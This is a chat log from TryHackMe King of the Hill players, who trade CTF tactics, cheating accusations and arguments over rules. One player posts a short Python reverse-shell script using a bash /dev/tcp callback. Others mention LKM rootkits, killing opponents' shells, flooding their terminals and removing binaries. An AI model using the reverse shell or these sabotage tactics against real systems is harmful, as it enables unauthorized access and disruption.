koth

[timber vale]

but you said i was dirty that usually means cheating 😂 🤣

my main language isnt english so idk what context that was in

you just came out and said i was dirty

👍

[sturdy fox]

My main isnt english too, nah dirty was meant with using chattr and than deleting it or whatever u did to make it unusabable😂

[timber vale]

dont you have a copy of chattr 🧐

you should keep one

[sturdy fox]

I tried to reinstall it on the Target but it didnt work

[sharp siren]

https://github.com/posborne/linux-programming-interface-exercises/blob/master/15-file-attributes/chattr.c compile this static and then get it into your machine.

[sturdy fox]

You can run private Matches solo to train right?

[naive goblet]

not sure ¯_(ツ)_/¯

but you can do some koth machines as normal ctf rooms from tryhackme

like food for example

[sturdy fox]

Yeah i already marked these 2 for me

[undone cave]

No, you have to have at least two people for the machine to start. You can queue it solo, but it will terminate if there are not enough people (at least the ones I've tried).

[broken pilot]

Nope, need two ppl for machine to start... If you want to practice I can join your private match, I won't be playing but at least you could enumerate and get familiar with the machines, just send me the link when you're ready

[wintry granite]

can anyone decrypt it?

´ql´<z,Ód»øHˆku^ˆçìη… ˜T>;d-‹ŒÅÒæõv°ÁqþlFÊ€·“Wìù…çüëùê|óéúæ\iã¸]³Æà1Ž$Ö1|ä<î(üî:ØzÛK3ÆÏýÐæG¨b¢‡öº!¾ã|i°0EOÍz•dŽøæ‡á_ÌÏãþD¿°¨¤{¦y³VXåÌëø
÷û;cIxÝ΅?yõ¸¬S¿Á"eÜWüpî/b›óƒ¢èyÞ·¬sÇ:œ\H7Ž¸ÖË©[–0 ÎkÞxŽ˜s;‚àã…ǁ>¶Ýø¯#­<ÐNøŽ•Õ4-ÁÑxZG3aTj/ Ãzw÷Ï¿EfAÕé

[violet zealot]

https://tenor.com/view/deaf-cat-deaf-aagghh-aagh-cross-eye-cat-gif-4205790747075254931

[sharp siren]

plz no CRYptography in #koth it makes me lose my mind 🙏

[steep agate]

wget https://raw.githubusercontent.com/posborne/linux-programming-interface-exercises/master/15-file-attributes/chattr.c -O chattr.c && gcc chattr.c -o chattr -static && sudo python3 -m http.server 8000

problem solved 👍

[sturdy fox]

i understand the wget, the && is for another command in the same line right? but for what the python web server?

[steep agate]

On koth machines you obviously don't have access to the internet, so you can't download anything from outside, you have to download it to your kali vm for example, compile it there, and send it to the koth machine, that's why the webserver

btw, the only binary that can be deleted is chattr, so there is nothing dirty and nothing against the rules in this, it is always good to have your own chattr compiled in case someone removes it from the machine

[sturdy fox]

i never said against rules or sum, its just my way to talk

[placid fable]

You can modify the chattr code to write your username every time someone uses it. There was one chattr_borked.c just for this, KoTH.

[timber vale]

everyone uses their own chattr these days no one would fall for that 🤣

[placid fable]

Yeah lol, worth a try for the first king (root)

Replace theirs with this, they should go crazy😂

[timber vale]

👍

[north wolf]

I don't even use chattr binary, this works for with ofc, with necessary includes:

ioctl(fileno(fp), FS_IOC_SETFLAGS, 16);

and, fp here is file_pointer to /root/king.txt

[stiff egret]

this 🚀

[north wolf]

yeah, I've found 5 footholds so far in fireworks and 6 flags but 6th one didn't work for me || anyways who places sshot of flag 😩and yeah I'd used OCR and also manually checked value of the flag but it still didn't seem to work ||

idk I've spent around 3 hrs. in fireworks just searching for footholds and 5 were ones I'd found, and maybe there maybe more

[stiff egret]

just get good with king control and flags doesn't matter anymore

[north wolf]

agree

[sturdy fox]

@south pulsar what happened to the machine?

[south pulsar]

I don't know, I wasn't able to enter the machine

I think someone just shutdown the machine

[sturdy fox]

Is it offline i cant even nmap it or ping but i am not king anymore, rude 😂

Also how did u find the flags i couldnt find any flag.txt file?

[south pulsar]

Ha ha , cause of shutdown, what's your id ??

[sturdy fox]

Wdym id?

[south pulsar]

I just deleted all the flags 💀, after i get them all

[south pulsar]

Thm I'd ??

[sturdy fox]

Nah bro thats rude💀

[south pulsar]

So rude ,💀

[sturdy fox]

I am JustKev in THM and the Match ID is 103710???

[south pulsar]

Okkk so you're already king

[sturdy fox]

No, the machine is offline so i dont get points, u won

[south pulsar]

I think 0xReDrag0n did this

[south pulsar]

But how ??

[sturdy fox]

The machine connects back to the thm servers to tell them who is king and if the machine cant connect back she cant tell who is king

[south pulsar]

Ohh I got the answer now

Let's join a different one

[sturdy fox]

Hmm?

[sturdy fox]

Yeah im not doing anything rn, next game maybe

[south pulsar]

yahh you already playing that

[sturdy fox]

Yeah im in but not playing, needed to do something, now its to late

[light flame]

Deleting flags is against the rules❌

[south pulsar]

Yahh i know that ,I just make fun of it

[sturdy fox]

U won the round only cause of it but idm that u did it😂

[south pulsar]

Yahh, btw thanks buddy 🐱

[sour vector]

Gave +1 Rep to @sturdy fox (current: #2151 - 1)

[sturdy fox]

Thanks for what?

[sour vector]

Gave +1 Rep to @south pulsar (current: #2151 - 1)

[south pulsar]

@short tusk i already apologize for this

[broken pilot]

Yea deleted flags is a little dirty especially when playing against newer players.... So here's a little tip, create some notes for every machine you play, when you find a flag add them to your notes for that machine... Then when a player wants to delete the flags you already have them in your notes 😉...

Also if you'd like to play some practice matches so you can enumerate the machines just hit me up, I'll join the match but I won't be playing so you have full range of the machines, do what you like to them ... @sturdy fox

[sturdy fox]

yeah thats a good think but for me its not right yk, its like saving the id_rsa in your notes to access a certain machine.

[sturdy fox]

yeahh thank you for that

[sour vector]

Gave +1 Rep to @broken pilot (current: #75 - 87)

[sturdy fox]

also if you rename the king.txt it is not longer recognized and gives no points right? cause today i had someone who named it .king.txt and it was not giving anymore points for being king

[broken pilot]

What's wrong with that? I see it as good note taking... You would save everything if it was a normal machine... Most players have all the loot saved already anyways... That's why you will see ppl with 58 mins king time lol

[broken pilot]

Yes if you rename king.txt then you get no points

[sturdy fox]

didnt knew everyone is saving them dangg, im saving commands in my notes for some things thats all lol

[broken pilot]

I mean the key should be find a way in the machine, document how you achieved this, then next game or if you have control of king, look for another way in, document that... There's at least 3-4 ways in for every game... That way if a player patches the machine you might have a way in that they forgot to patch 🤷🏼‍♂️

[north wolf]

same, all thanks to loot I was once king for 59 min. lol

id_rsa of of duku, then net-kit ftp's priv esc then straight king!

[south pulsar]

@timber vale why you use 2 id!!! while playing koth ?

[timber vale]

No, but i know the user of that account personally

He is just strating out in thm

[south pulsar]

bro don't lie , even a child can guess it , that thease are your id

[timber vale]

is this because you cant win with me every game you join with me i destroy you and you are running from the current game cuz you cant get king?

🧐

[south pulsar]

that is not the first time

[timber vale]

first time of what?

[south pulsar]

no, because you use 2 id , just for cheating

[timber vale]

Haha 😂 first i dont use two ids second you just cant get king and how would some other account help me with being king 🤣

just admit i destroy you in every game so you just want to get back at me 🤣

[south pulsar]

and btw stop using autopwn , play honestly

[timber vale]

wtf 🤣 i have the id_rsa key for ashu how is that autopwn 🤣 i just kicked your a** and you just here doing this stuff running from the original game cuz you cant get king 🤣

[south pulsar]

you use 2 id's , stop thinking that everyone is fool like you

[timber vale]

🤣 🤣 do you want a private game or what 😂

[south pulsar]

you really want ?

come then

[timber vale]

😂 i will destroy you like every time

[south pulsar]

every script kiddy speaks like this

[timber vale]

😂 a script kiddie always kick your a** wow 😂

[south pulsar]

i know youre the mf

come then

[timber vale]

🤣 dm me lets choose the game and send me the link i will kick your a**

you have a sub i dont

[south pulsar]

ok, i dont chuse the game , its a random

[timber vale]

what if its windows 🧐

[south pulsar]

i dont have fears

[timber vale]

alright dm me the link

[north wolf]

lemme join 😉

[timber vale]

for any one who wants to watch the live beef 😂

https://tryhackme.com/games/koth/103748

15 yo boy is going to kick his a**

lets do 3 games who win the most dont bother the other anytime 😂

[stiff egret]

Let's try to keep it a bit more professional. @timber vale @south pulsar

[timber vale]

why you joined and your name inside king?

[timber vale]

you distrupting the whole operation you arent inside the game did he dm you the ip 😂

[north wolf]

idk u said u'd kick his *ss do it if you can else f right off

[timber vale]

so its like that

[north wolf]

do what u said, else don't bug around.

[timber vale]

i want a proper game just me and him 1v1 dont do this shit to me 😂

[north wolf]

u used 2 acc 1st kiddo

[timber vale]

you both come play against me and you have your cheating methods with you thats not fair 😂

[north wolf]

"do what u said".

[north wolf]

wdym cheating methods, stg I didn't use any one lmao

[timber vale]

first i dont have two accounts second you cant talk about that you know about what you did to the koth service every body remember that

[north wolf]

you're moving away from ur words

[north wolf]

haha fun

🤣

[timber vale]

i didnt say i want you both i said i want 1v1 and you distrupting the whole thing he must have dm you the ip 😂

[north wolf]

you were not able to kick his *ss

😆

tbh, nones fair here

including me

[timber vale]

im not even playing after i saw you in the match i dont do this shit

[north wolf]

so do what u said

[timber vale]

im still saying i will kick his ass but 1v1 without he dming the ip to anyone

[north wolf]

ohh u decided to run away, fine

[timber vale]

thats cheating what you both are doing im not here for this shit i said 1v1

[north wolf]

@south pulsar maybe @timber vale is scared of u

[steep agate]

https://tenor.com/view/cats-fighting-fighting-cats-anniehasleftoop-gif-23317332

[timber vale]

I dont get scared of buncho of pu**ies

[north wolf]

then play.

[timber vale]

im not scared of him neither im scared from you anyone wants to play a proper game comeone

i win or i loose but with my dignity and no cheating from your parts

[north wolf]

I gave him some of my stuff, maybe he compiled them without editing

[south pulsar]

yahh he is a fucking kidde

[timber vale]

some of your cheatings 😂

[north wolf]

that's where u got to see my username

[south pulsar]

@north wolf i think someone need 9999 fake id's to win a koth

[timber vale]

this last 2 weeks i won more games than you two ever won so shut up and close your mouth 😂

[north wolf]

idc.

alt acc thingy

and u saying kicking *ss of 15 y.o is what made me share my goddies with him

else, I didn't care

ahem

language.

@mods 😅

[placid fable]

Guys, just leave it. Follow the rules from now on and be fair, that's all

@.scrubz. a bit of an issue here😄

[timber vale]

Who is the script kiddie now i code my Own stuff to protect king🤣

[placid fable]

@near lily

[north wolf]

bruh, he's learning. And, I "gave" him. He didn't "ask" for it. FYI.

[timber vale]

and he just ran it without understanding it 😂 or knowing what it does

[north wolf]

there are proper comments to understand what my code does, and the only part was the username definition within the code which he just prolly forgot to edit

[timber vale]

He didn't even take a look at it or else he couldve changed the username 🤣

[north wolf]

and someone didn't even care that alts can be identified easily.

chuck it

not talking anymore in this topic.

[timber vale]

🤣 i told you that is not my account and you dont have a prove but we all know that you didnt care that cheating can be identified just as easily

[north wolf]

btw, biggboss izza watching 😆 (gifs lolz)

[north wolf]

haha, funny.

[timber vale]

i dont know how you are still even talking here im done with this shit i cant take it anymore 😂

[north wolf]

..

[broken pilot]

Can I join the fun later 🥳 😉... Why everyone so mad???

[steep agate]

https://tenor.com/view/panda-bear-fight-gif-13253482156340934104

[north wolf]

sure! lmao, You're most welcome!

[south pulsar]

yahh buddy @broken pilot

[timber vale]

i joined a public game with him destroyed him and he came here talking shit about me 🤣 but i dont care he knows what i do to him and i know 👍

[broken pilot]

We can do it publicly or private don't matter

[north wolf]

anyways someone wasn't able to do what s/he said

[broken pilot]

Personally I don't see how 2 accts would help take king... Only thing multiple accounts are good for would be to spam resets.....

[timber vale]

personally i dont even do resets cuz i always win what would i get from that ?

[north wolf]

who knows, lets have a competitive game

than arguing here

[broken pilot]

@north wolf I think you may have misread what ch1 was saying... Ch1 is the 15 yr old...

[north wolf]

oops, my bad

[broken pilot]

Ok when I get off work I will ping you guys and let's orchestrate a big game 😉...

[north wolf]

sure!

[final onyx]

:mute: c.h.1#0 has been muted.

:mute: 0x_indranil#0 has been muted.

[near lily]

Thanks.

[sour vector]

Gave +1 Rep to @placid fable (current: #40 - 185)

[sturdy fox]

i like how silent it is in here now

[south pulsar]

boom baby

[broken pilot]

But bruh 0 king points....

[sturdy fox]

yeah but looks like king isnt available cause no one of them rly got points of it

[south pulsar]

can you see the winner ??

[north wolf]

..

[broken pilot]

Yea I do ... 🥳

[broken pilot]

...

[north wolf]

yep, real game; coming soon!

only on koth!

😆

[south pulsar]

presented by ?

[north wolf]

presented by a bit of beefing (not sure whom to mention here, exactly)
but sure about powered by THM!

[south pulsar]

ok so lets do it

[north wolf]

wait wait, waiting for everyone to get ready

[broken pilot]

Bruh I'll drop link when I get off work....

[north wolf]

exactly, @south pulsar ☝️

[broken pilot]

Get your stuff ready in the mean time 😜

[south pulsar]

okk

[north wolf]

idk what to get ready, I'll just smoke a cig that's my prep.

[broken pilot]

https://tryhackme.com/games/koth/join/00eb561e6c45eff5754e0c62

@north wolf @south pulsar @timber vale and whoever else wants to play

15 mins

[timber vale]

@north wolf @south pulsar 5min

[broken pilot]

https://tryhackme.com/games/koth/join/3b4fa8ab8af9031866cc75af

20 mins

[sharp siren]

I see now why I quit koth, and I don't regret it at all lmao.

[fair adder]

Mission: impossible

[north wolf]

😆

[north wolf]

I'm sorry, I wasn't able to join.

[north wolf]

nice, there's at least a guy (always) on koth queue lol

[timber vale]

https://tryhackme.com/games/koth/join/5ed0f72b3ca1e1dc69e86360

[fallen palm]

Why I am not able to join koth ? It's saying not found

[sturdy fox]

are u trying to joing the link from Ch1?

[fallen palm]

Nah, normal koth but now the problem is solved

[fallen palm]

And how did you entered in the machine so fast.? @timber vale

[timber vale]

you need to upload a rev shell to 5000

a python one

[fallen palm]

I uploaded a reverse shell.?

[timber vale]

yeah thats what i did you need a python revshell to run on that werkzeug server i think

[fallen palm]

I didn't understand what you mean bro

You mean I need to upload a reverse shell, right.?

[timber vale]

i used port 5000 uploaded a revshell

it needs to be a python script 👍

that give you a shell

#!/usr/bin/python3
import os
os.system("bash -i >& /dev/tcp/<ip>/<port> 0>&1")

you can just use that

[fallen palm]

Okie ty

[timber vale]

this happens sometimes to me and some times they say i can only enter two scheduled games at a time when im not even in a game

[fallen palm]

Yeah thats their limit but i was facing different issue

[timber vale]

im recently experiencing other bugs i dont see the type of the machine i need to refresh and the ip also and i need to refresh to update the points like there is no live update on anything

[fallen palm]

and my koth pagge is also not updating automatically every minute

[timber vale]

yeah

you need to refresh

[fallen palm]

maybe they are doing maintanance as mentioned in the notification bar

[fallen palm]

yea

[timber vale]

i just stopped using it to monitor king i started using watch -n 1 curl -s ip:9999

[fallen palm]

Ooo

[timber vale]

but the problem is resets when some one reset and the machine doesnt shutdown you can never know without refresh

[fallen palm]

ip of our openvpn or ..??

[timber vale]

no the ip of the machine the koth service running on port 9999 tells you the king

[fallen palm]

oh

[violet zealot]

It's not even a flex buddy, go touch some grass or find a job

[timber vale]

yeah i got nothing else to do i train i go to the gym but this is my vacation and i dont have school so i have full time koth 😂
you're not gonna get rid of me that easily i will continue to be in every single game each time i can 😂 to take the win from you

@violet zealot @fair adder

[violet zealot]

From who? I don't play koth anymore

[sturdy fox]

Does someome know if bluez8866 is cheating?

I am in the shrek machine with him, he kept killing my connection and now he turned ssh off after making himself king 💀

Ssh doesnt show on the ports anymore and i get the error connection refused, but somehow he is still connected, someone tips?

[broken pilot]

Well a good technique would be to add some kind of persistence once you get on the box that way you won't need ssh. You could also try scanning again for all ports maybe he changed ssh port. There should also be another way on the machine besides ssh if he hasn't already patched

[sturdy fox]

All the ways, as far as i know for the shrek machine, leave ssh keys, no i scanned all ports and only 22, it said closed ssh.

[civic vortex]

@north wolf I thought youre a changed man?

[sturdy fox]

does that remove the shell or what exactly?

[civic vortex]

it removes the built in bash binary

[sturdy fox]

so the shell

[obsidian lark]

lmao

[light flame]

Depends, if /bin/sh is still there you can use that

Or any other shell, like on debian(based) systems /bin/sh is a symlink to /bin/dash iirc, so if they didn't remove all binaries it's likely that only the symlink /bin/sh is removed and /bin/dash can still be used.

[fading moat]

Where can I find the linux headers for the food machine? (4.15.0-91-generic)

[north wolf]

/bin/sh exists.

[north wolf]

btw, thanks to you since you motivated me to write a rootkit

[sour vector]

Gave +1 Rep to @civic vortex (current: #881 - 4)

[violet zealot]

but u can't remove the bash

im pretty sure it's against the rules

[north wolf]

my bad

but my rootkit makes me wonder since there's no king.txt in /root but cat /root/king.txt responds fine

anyone? https://tryhackme.com/games/koth/join/9e1669bbd2bdfa0cc53edcce

[fading moat]

How do I compile my LKM for the food machine? Where can I find the headers

[violet zealot]

if u are talking about the linux versions, im pretty sure matheuz or someone else shared them

.

mods should pin it for further related questions 👍

[north wolf]

yaay! now my rootkit works as expected, but idk why i see two usernames lol

anyone? https://tryhackme.com/games/koth/join/6afa7483701c62c824ce061a

@south pulsar @upper basin @timber vale @broken pilot ?

[timber vale]

im eating dinner rn

im going to play with you the next game after 20min

[fading moat]

I meant how to actually compile them. Iknow the version

[violet zealot]

then idk what u mean by that, u just have to compile with gcc or anything else?

[fading moat]

Mistapped sorry

[fading moat]

I have to compile the lkm using the 4.15.0-91-generic headers. I have installed the headers but when i try to make i get an error bc the compiler is trying to access the asm directory gut in the headers its named asm-generic. And no linking doesnt work

[timber vale]

https://tryhackme.com/games/koth/join/3d27c9c05ff242d4ac0c377c

@north wolf

[fading moat]

@north wolf may i dm you

[north wolf]

sure

[sturdy fox]

Cause u can put multiple things in a text file?😅

[timber vale]

https://tryhackme.com/games/koth/join/3c524a3f80517e8da088a805

[sour lodge]

@timber vale wth did yoy do to that king file ?? 😂😂 good game

[timber vale]

GG

[timber vale]

what is your username?

@sour lodge

[sour lodge]

MrMarket

[timber vale]

https://tryhackme.com/games/koth/join/d94a17f1e3941fb804167b58

[timid ore]

https://tryhackme.com/games/koth/join/6b7a65705369c245b50990e8

[timber vale]

https://tryhackme.com/games/koth/join/41bf12576ab99092d82e9279

[timber vale]

https://tryhackme.com/games/koth/join/aa951b753e60a08d8b32a1f0

@north wolf

[timber vale]

https://tryhackme.com/games/koth/join/00e0f0445cf0d01313158b8c

[timber vale]

https://tryhackme.com/games/koth/join/35b99548e8259c93e287b89f

[timber vale]

https://tryhackme.com/games/koth/join/71c38cac0c5b183b09279747

[timber vale]

https://tryhackme.com/games/koth/join/e6497ec8c19889e0ee956ba8

[fading moat]

@quiet schooner can I DM you about koth?

[timber vale]

https://tryhackme.com/games/koth/join/c829eb9db661d13599c77af9

[timber vale]

https://tryhackme.com/games/koth/join/bec4c602826b227c21ad7edf

[timber vale]

https://tryhackme.com/games/koth/join/8fd22bffea9b8e0bf9fdf29f

[sturdy fox]

Bro fr what is Bluez doing??? He got in the machine again and turned off the ssh

[sturdy fox]

I think he even deleted ssh cause there is no ssh anymore💀

[long vessel]

are you talking about shrek machine ?

[young bramble]

23 king changes 😄

[long vessel]

https://tryhackme.com/games/koth/104221

[sturdy fox]

Yes

[sturdy fox]

Yeah i got in from a reverse shell and he wouldnt let go xd

Ohh u were in the Match too

[young bramble]

not me. maybe Binary exploiter

[sturdy fox]

Yeah i meant him

[steep agate]

setup your persistence

[violet zealot]

yea but actually he just broke the rules a second time (or more)

so maybe mods can take some actions, because tbh i see many people cheat but nobody gets banned

[broken pilot]

I guess it would all boil down to what is considered a bannable offense.. like changing the executable permissions on say /bin/bash is technically against the rules but would this constitute a ban?

[fair adder]

Anyone from NSW?

[violet zealot]

if it's repeated, yes

if u broke the rules just once, it's okey but if u cheat like every game u should be banned

[broken pilot]

But then again this is an easy fix ... chmod +x /bin/bash ....

[violet zealot]

it's not because u can fix it that u can do it

[broken pilot]

Yea but should you be banned for that...

[violet zealot]

again, if it's once no, but if u do it repeatedly then yes

otherwise what's the point of having rules?

[broken pilot]

Now I can see rm -rf / or modifying koth binary or attacking others players being bannable

[sturdy fox]

everything that is against the rules should be bannable, even more if you repeat it.

i only played against him 2 times and he cheated both times idk if he does it all the times. i reported him both times now, im just not gonna go in a game where he is inside.

[steep agate]

but you also have to keep in mind that changing the ssh port is not against the rules, if you do the port scan again, you will see the ssh port

if that's the case

[sturdy fox]

yes i know, i scanned multiple times, i also only scanned 22 and it said "22 - SSH - closed"

[steep agate]

Did you scan with rustscan or nmap? need to see all the ports

[sturdy fox]

both, im not that familiar with rustscan so i normaly scan all ports with rustscan and than nmap -A with all the opened ports

or in that case with the closed port

[steep agate]

so you didn't scan all ports... you need to use -p-

for scan all ports

by default nmap does not scan all open ports

[bronze mirage]

oh, it doesnt?

[steep agate]

Yeah, nmap does not scan "all" open ports, so you need use -p-

[sturdy fox]

for nmap yes, what i do is rustscan -r 0-65000 after that nmap -p (all the ports from the rustscan) -A

[sturdy fox]

it does only scan the first 1000

[bronze mirage]

guessing that the first 1000 are the most common ports?

[sturdy fox]

yes, thats why people sometimes change the ports, so u need to recon more

[broken pilot]

I can see blatantly cheating being cause for ban under certain circumstances... But I think there are some grey lines in the rules and it would then depend on the perspective of what is actually considered cheating... Cuz rm /bin/bash no problem can still use sh... rm -rf / ... Problem that was blatantly used to ruin the machine for everyone .... Blocking ip's using iptables.... Blatantly breaking rules... Alias on echo... Sneaky... Can still change alias and machine is still up... All depends

[sturdy fox]

yeah every case is different but in my opinion closing the ssh port while u can just change the keys, on a machine where 90% of the ways to get in via ssh are is just not rule conform.

[steep agate]

I've seen people ruin all the machine's memory with dd

[fading moat]

What does that even achieve, it ruins the match for everyoje

[sturdy fox]

but he wins 😉

[fading moat]

Its called being a huge dick

[sturdy fox]

yee

[light flame]

If you're still in the machine it's a good idea to do something like systemctl status sshd because usually that reveals the new port and if ssh is still running or just stopped

[sturdy fox]

no it was a few hours ago, i got in from a rev shell + i think he deinstalled ssh cause i tried that status thing and it coulnd find it + all the .ssh directorys in the users got deleted

[broken pilot]

But this also demonstrates the importance of persistence... There are other ways in the machine besides ssh... Bet they didn't patch all of them...

[sturdy fox]

also bluez keeps disconnecting the users, so if u play against him be aware of that 😉

[broken pilot]

Like killing your shells?

[sturdy fox]

yee

[sturdy fox]

yeah i know i worked on that, got in from a web rev shell but he had a loop or something cause i couldnt get his name out of king.txt

[broken pilot]

Add some persistence, and do it back 😉

Flood his terminal with urandom make him kill his own shells 🤣

[sturdy fox]

i know what u mean but bro im a noob idk how to do all that xd

[broken pilot]

So now that should make you want to look into the running processes...

[sturdy fox]

i know how to get in the machine but idk how to keep them yet

[broken pilot]

That's the point tho... Sure it might be annoying but by going through it you will learn how to defend against it...

[sturdy fox]

ps aux right? cause i looked at it but i coulnd find anything or i just didnt see it, there was something called sleep 1 tho

[broken pilot]

You gotta think in real life situations they are not going to be playing by the rules.... You will need to adapt to the environment you are in 😉...

[broken pilot]

Yes, I would even do ps auxf for a forest view... I would also look into sleep 1 cuz that seems suspicious... Look at the process id number of sleep 1 and kill it... Try adding your name to king did that work if not inspect processes again

Could also use something like pspy64

[sturdy fox]

whats that?

[placid fable]

It's a process watcher, to monitor what other players are doing
https://github.com/DominicBreuker/pspy

[broken pilot]

If you're around later I may play a couple games tonight... Can show u a few tricks if you're interested.

[timber vale]

https://tryhackme.com/games/koth/join/2b487691a00ee3d02a5ab21a
if anyone interested

[sturdy fox]

didnt planed anything for today, yet. should go, but what is ur timezone? cause its 6:30pm for me

[broken pilot]

Ahhh ok it will probably be late for you then... Maybe over the weekend just ping me

[sturdy fox]

tell me when u play i will be awake for at least 6 more hours xd

[broken pilot]

Ok It will be at least another 5 hrs... Would probably be best to shoot for the weekend. That way you can take some notes and benefit from the games...

[twin ore]

KOTH? Anyone? Huh?

I'm tired of @timber vale destroying every KOTH I'm a part of haha.

[timber vale]

its 3:12 am im going to sleep but i will play with you tomorrow if you want 👍

[twin ore]

Bro...just oversleep for a bit so I can at least get the false impression that I may win.

[timber vale]

i will stay sleep for at least the next 8-9 hours so you can play all you want rn 😂

[vague shuttle]

Free after like 3 hrs?

[twin ore]

Ehhhhh I’ll probably be in bed

[vague shuttle]

Ah alr

[sturdy fox]

crazy how everyone is in a different timezone

[timber vale]

any one having problems with vpn?

i tried changing servers and redownload configuration but it just doesnt connect
my internet is good my ping for google.com is 73ms
2024-08-03 08:02:31 ++ Certificate has EKU (str) TLS Web Server Authentication, expects TLS Web Server Authentication
2024-08-03 08:02:31 VERIFY EKU OK
2024-08-03 08:02:31 VERIFY OK: depth=0, CN=server
2024-08-03 08:03:32 TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity)
2024-08-03 08:03:32 TLS Error: TLS handshake failed
2024-08-03 08:03:32 SIGUSR1[soft,tls-error] received, process restarting
2024-08-03 08:03:32 Restart pause, 1 second(s)
2024-08-03 08:03:33 TCP/UDP: Preserving recently used remote address: [AF_INET]54.76.30.11:1194
2024-08-03 08:03:33 Socket Buffers: R=[212992->425984] S=[212992->425984]
2024-08-03 08:03:33 UDPv4 link local: (not bound)
2024-08-03 08:03:33 UDPv4 link remote: [AF_INET]54.76.30.11:1194
2024-08-03 08:03:33 TLS: Initial packet from [AF_INET]54.76.30.11:1194, sid=d472c3c2 ffd9599d
2024-08-03 08:03:33 VERIFY OK: depth=1, CN=ChangeMe
2024-08-03 08:03:33 VERIFY KU OK
2024-08-03 08:03:33 Validating certificate extended key usage
2024-08-03 08:03:33 ++ Certificate has EKU (str) TLS Web Server Authentication, expects TLS Web Server Authentication
2024-08-03 08:03:33 VERIFY EKU OK
2024-08-03 08:03:33 VERIFY OK: depth=0, CN=server

this whole log gets repeated over and over again without connecting to anything

PING google.com (142.250.201.174) 56(84) bytes of data.
64 bytes from par21s23-in-f14.1e100.net (142.250.201.174): icmp_seq=1 ttl=128 time=73.2 ms
64 bytes from par21s23-in-f14.1e100.net (142.250.201.174): icmp_seq=2 ttl=128 time=73.4 ms
64 bytes from par21s23-in-f14.1e100.net (142.250.201.174): icmp_seq=3 ttl=128 time=73.4 ms

[sturdy fox]

Hey @glass isle u in yet?

[glass isle]

nope

i only have mysql flag

ssh is down or smth

[sturdy fox]

port 58342

[glass isle]

[sturdy fox]

yeah H4DES is a strong player

[glass isle]

i didnt rescan all ports after finding all

i got a ssh user from sql database so ill try

pw got changed

gotta go... goodluck @sturdy fox

[sturdy fox]

yeah Match is over xd

[glass isle]

gg hades

[broken pilot]

https://tryhackme.com/games/koth/join/99b65534a26bb2ca58637a34

[placid fable]

gg

I was just installing Docker on my host to escape the containers 😂
How did you do that? Plain curl?

[twin ore]

Jumping on for a few quick games before I go back to my CySA + studying that isn't going too well 😂 https://tryhackme.com/games/koth/join/a761ef206a3e7f0607d4befe

[broken pilot]

Check out hacktricks docker escape

[placid fable]

aliali..0541, why are you killing the login sessions? And, the /home/ashu/flag.txt has root:root user/group. This is against the rules

[north wolf]

who is bluez?

[north wolf]

exactly.

[north wolf]

looks like someone who doesn't like to follow the rules, hence would like to have a match against him

[glass isle]

did someone already change http admin page PWs? 😮

[sturdy fox]

oh what happened to u with him? 👀

[tacit ridge]

Hey kaali01🙌🙌🙌

[tacit ridge]

Really changing passwords is allowed?

[sturdy fox]

yes

why shouldnt it be?

[tacit ridge]

Then if I am unable to find the root first then it's like done

I can't do anything one who becomes king is king

[sturdy fox]

having the passwords is normaly not the way to get root, as far as i know

[placid fable]

There are obviously other ways to get into the machine, other than just SSH logins or web logins

[charred hare]

that attitude won't get you very far for koth, other vulnerabilities on the box exist

[timber vale]

every one is having fun in koth without me 😂 i reinstalled the whole vm but im still cant connect to any openvpn not thm nor htb have fun guys 👍

[fathom yacht]

same problem

[timber vale]

i tried a new vpn server and redownloading the configuration that didnt work also. did you try it?

[fathom yacht]

I tried every single VPN server in the THM access page.

[timber vale]

yeah i did that too but nothing changed
i will try to reinstall my vm but this time test htb first see if it works cause my htb vpn was working fine before this
first time my vpn malfunctioned i restarted my machine and i found that the configuration in /etc/network/interfaces for eth0 is deleted
i restored that but also couldnt get network access cause when i do ip route i see nothing so no route i fixed that but nothing changed

[wheat flower]

how long is the Match Penalty?

oh different website

[frail nymph]

Check if your host machine is using VPN through Anti-virus or if you seperate VPN tool.

[timber vale]

i use kaspersky but i never got that problem before

[frail nymph]

There is no harm checking. It may be updated.

[timber vale]

yeah i will do that but i dont have my laptop rn.

[broken pilot]

🤣 🤣 🤣 not cool to remove binaries.... how you gonna take king from me now 🤣 🤣 ..... aliali..0541 ....

hahahahaha you tried to mount and remove both mount and umount..... but now it has backfired on you 😉 Good Luck have fun 😜

[broken pilot]

hahahahahhaha weak bro .... you didnt have to poweroff the machine

anyways GG see ya next time

[placid fable]

This guy didn't follow the rules last time I played with him

[broken pilot]

yea he was still playing dirty against another player so i decided to step in and take control... he got mad and shutdown machine 🤣 🤷‍♂️ ..

[civic vortex]

they are so funny, turning off machine to help us secure king

[fading moat]

@broken pilot would open sourcing my rootkit break the game

[sturdy fox]

i still think rootkits are cheating

[fading moat]

How

Since it's not breaking the rules it gives you the complete freedom of using a rootkit yourself

Now I can see why it could be considered as cheating but it's not

[sturdy fox]

I mean a rootkit is autopwn and autohardening isnt it?

[light flame]

If it was they could've locked the kernel to prevent LKM rootkits.

[fading moat]

Not really autopwn. How will you autopwn something if you're root alr. About autohardening, sure but if that's auto-x how isn't using the mount trick or other one liners the same

[sturdy fox]

Cause the auto thing is that makes it cheating, if u use the commands on ur own okey but having a programm which does all that for you is something different yk?

But im sure THM knows about rootkits getting used and if they dont do something ig do it

[fading moat]

So if I put the commands in a sh file it's suddenly considered auto?

While copy pasting them isn't

[sturdy fox]

idk that is the thing, what exactly is autopwn and autohardening

cause for me auto means that for example a programm does it for me

[fading moat]

Then how come you dk? You just answered my question

[sturdy fox]

everyone has its own opinion about it thats what i meant

[fading moat]

So you do think that putting the commands in a script instead of copy pasting them directly in your shell is considered autopwn

Well, if you have mixed up definitions how come you say rootkits are autopwn

[sturdy fox]

thats why i said at the beginning "i still think"

[fading moat]

I also said "so you do think"

[sturdy fox]

yes

[light flame]

Autopwn: a script that gives you a root shell with only the ip, autoharden is imo about patching vulnerabilities

[fading moat]

That sounds pretty wrong, give it a second read

Not trying to argue here, just so you know

[sturdy fox]

and a rootkit gives you root with just ip doesnt it? i heard players have rootkits for the machines, so they only put in ip and they won

[fading moat]

Huh

Define a rootkit

A rootkit is a collection of computer software, typically malicious, designed to enable access to a computer or an area of its software that is not otherwise allowed (for example, to an unauthorized user) and often masks its existence or the existence of other software.

So no, you need a foothold in the machine and rootkits are meant to provide a backdoor. Not to gain initial access.
In our scope, koth, rootkits are loaded after you become root, to manipulate kernel space functions to protect the king

Generally speaking

[light flame]

Ok, so that's the misunderstanding here

[fading moat]

Yup. A huge one

[sturdy fox]

